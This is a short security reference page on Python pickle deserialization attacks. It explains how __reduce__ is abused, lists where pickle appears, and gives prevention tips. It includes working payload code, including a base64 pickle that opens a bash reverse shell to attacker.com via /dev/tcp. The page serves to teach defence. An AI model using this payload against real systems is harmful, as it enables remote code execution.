Python Pickle

Python Pickle is Python's native serialization module that converts objects to byte streams and back. However, it can execute arbitrary code during deserialization, making it extremely dangerous for untrusted data.

The Danger

import pickle
import os

class Malicious:
    def __reduce__(self):
        # This gets called during deserialization
        return (os.system, ('id',))

# Serialize malicious object
payload = pickle.dumps(Malicious())

# When victim deserializes:
pickle.loads(payload)  # Executes: os.system('id')

__reduce__ Method

The __reduce__ method tells pickle how to reconstruct an object. It returns a callable and arguments—attackers abuse this to call dangerous functions.

Real Attack Payload

import pickle
import base64

class RCE:
    def __reduce__(self):
        import subprocess
        return (subprocess.Popen, (
            ['bash', '-c', 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'],
        ))

print(base64.b64encode(pickle.dumps(RCE())))

Where Pickle Is Used

  • Flask session cookies (if using pickle serializer)
  • Celery task arguments
  • Redis/memcached caching
  • ML model serialization
  • Django cache backend

Prevention

  • Never unpickle untrusted data
  • Use JSON or other safe formats
  • Sign pickled data with HMAC
  • Use RestrictedUnpickler to limit allowed classes

PentesterLab Exercises

See Also